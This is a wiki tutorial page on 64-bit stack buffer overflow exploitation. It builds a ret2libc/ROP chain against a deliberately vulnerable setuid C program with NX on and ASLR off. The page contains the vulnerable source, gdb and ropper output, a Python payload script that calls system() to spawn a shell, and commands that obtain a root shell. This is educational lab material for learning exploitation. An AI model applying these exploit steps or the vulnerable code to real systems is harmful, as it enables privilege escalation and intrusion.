You've loaded an old revision of the document! If you save it, you will create a new version with this data. Media Files{{tag>english linux kali it-security pentest blog}} ====== Buffer overflow in the 64-bit stack - Part 2 ====== In the second part, we activate the NX bit, which is intended to protect us from buffer overflows. To keep things fun, we will of course override this protection directly. We achieve this by passing the command to be executed to the [[https://de.wikipedia.org/wiki/C-Standard-Bibliothek|libc-Funktion]] ''system()'' is forwarded. This tutorial is fundamentally based on the work of [[https://blog.techorganic.com|superkojiman]] ((https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/)) ===== Introduction ===== {{page>en:vorlagen:64_bit_stack_nav}} Further information on ROP (Return Oriented Programming) and the basics of buffer overflows can be found in the link collection at the end. ((https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address)) ((https://ir0nstone.gitbook.io/notes/types/stack)) \\ \\ ==== Theory ==== {{page>en:vorlagen:attention}} The tutorial by superkojiman shows how the registers are overwritten step by step. To understand the process, we can debug the [[https://gist.github.com/superkojiman/595524f6b96c79380568|kompilierte debug binary]] from the blog. <code bash> br *vuln+73 # setze Breakpoint r < in.txt # in.txt wird vom Python Script erzeugt ... # Breakpoint RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') # RBP ist überschrieben RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) # RSP mit pop rdi Gadget RIP: 0x40060f (<vuln+73>: ret) gdb-peta$ si ... RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer nach /bin/sh RIP: 0x4006a3 (<__libc_csu_init+99>: pop rdi) # pop rdi wurde auf RIP geschrieben gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer wurde auf rdi geschrieben RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>: ret) # NOP RIP: 0x4006a4 (<__libc_csu_init+100>: ret) gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test rdi,rdi) # system("/bin/sh") RIP: 0x400469 (<_init+25>: ret) </code> \\ \\ ===== Dependencies ===== What is needed? In addition to the tools from [[en:it-security:blog:buffer_overflow_x64|Part 1]], we also need ropper. <code bash> sudo apt install ropper </code> \\ \\ ===== Deactivate ASLR ===== ASLR must also be deactivated here in order to maintain constant memory areas. In [[https://www.nosociety.de/it-security:blog:buffer_overflow_x64#aslr_deaktivieren|Teil 1,]] describes what needs to be done to do this. \\ \\ ===== C programme ===== The original tutorial is a bit older, so the source code could not be copied 1:1. On the one hand, the ''UID'' and ''EUID'' had to be set additionally ((http://disq.us/p/1klc7u2)), on the other hand ''/bin/sh'' no longer works in this way. ((http://disq.us/p/1n4ipc8)) Since there is a ''pop rdi; ret;'' gadget was missing, I created a corresponding function. <code c> /* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */ /* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */ /* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <unistd.h> int gadg() { asm ("pop %rdi"); asm ("ret"); return 0; } int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { setuid(0); seteuid(0); printf("Try to exec /bin/zsh --interactive"); vuln(); return 0; } </code> \\ \\ ==== Compile ==== Now we compile the programme. It is important that the ''no-pie'' parameter is set. The user provides an explanation [[https://disqus.com/by/bassiksgang/|b4551k5]] for this: > It seems that gcc build PIE (position indep. exec.). You can check this using "readelf -e <executable>". If at the top (the header), Type is "DYN (shared..." then it is PIE and gets loaded at random base address. You can rebuild the code using "-no-pie" as compile flag to tell the linker you want to build an executable. This should result in 0x400000 as base address as in the examples above. <code bash> gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 </code> \\ \\ ===== Exploit ===== ==== Gadgets ==== We need 2 gadgets to create the exploit. To do this, we start ropper and display the gadgets <code bash> ropper --file bof-part2 ... 0x000000000040116a: pop rdi; ret; ... 0x0000000000401016: ret; </code> We need ''40116a''to move our argument from RSP to RDI and ''401016'' is a NOP function that shifts RSP by 8 bytes. ((http://disq.us/p/247r1cp)) \\ \\ ==== Finding offsets ==== Now we still need 2 offsets for the exploit. So we load our file into the debugger and start it: <code bash> gdb-peda$ start ... gdb-peda$ p system $1 = {int (const char *)} 0x7ffff7e17920 <__libc_system> gdb-peda$ find "/bin/zsh --interactive" Searching for '/bin/zsh --interactive' in: None ranges Found 2 results, display max 2 items: bof-part2 : 0x402044 ("/bin/zsh --interactive") bof-part2 : 0x403044 ("/bin/zsh --interactive") </code> The offset ''0x7ffff7e17920'' is the address of ''system()''our libc call. ''0x402044'' is the address of our parameter that we send to ''system()'' we want to pass. Now we have all the necessary parameters to build the corresponding buffer in the exploit. \\ \\ ==== buffer.py ==== <code bash> /usr/bin/env python from struct import * buf = "" buf += "A "*104 # junk buf += pack(" <Q", 0x000000000040116a) # pop rdi; ret; buf += pack("<Q", 0x402044) # pointer to "/bin/zsh --interactive" gets popped into rdi buf += pack("<Q", 0x0000000000401016) # 8 bytes NOP buf += pack("<Q", 0x7ffff7e17920) # address of system() f = open("in.txt", "w") f.write(buf) </code> \\ \\ ==== Create buffer ==== Now we run our Python exploit and create the file in.txt. <code bash>python2 buffer.py</code> \\ \\ ==== Set authorisations ==== Our file still needs the appropriate root permissions. <code bash> sudo chown root bof-part2 sudo chmod 4755 bof-part2 </code> \\ \\ ==== root Shell ==== Now we start our programme and pass our buffer as an argument. <code bash> (cat in.txt | cat) | ./bof-part2 </code> [{{it-security:bof-dism2-1.png|Upgrade the shell to root}}] Our user shell is upgraded to the root shell and we have achieved our goal. \\ \\ ===== Repository ===== ^ Project files | {{ it-security:nosoc-repo-bof-part2.zip |}} <label type="info" icon="glyphicon glyphicon-compressed">ZIP</label> | ^ Size | 4.00 KB | ^ Checksum (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 | ~~DISCUSSION~~Please solve the following equation to prove you're human. 229 +13 = Please keep this field empty: SavePreviewCancel Edit summary Note: By editing this page you agree to license your content under the following license: CC Attribution-Noncommercial-Share Alike 4.0 International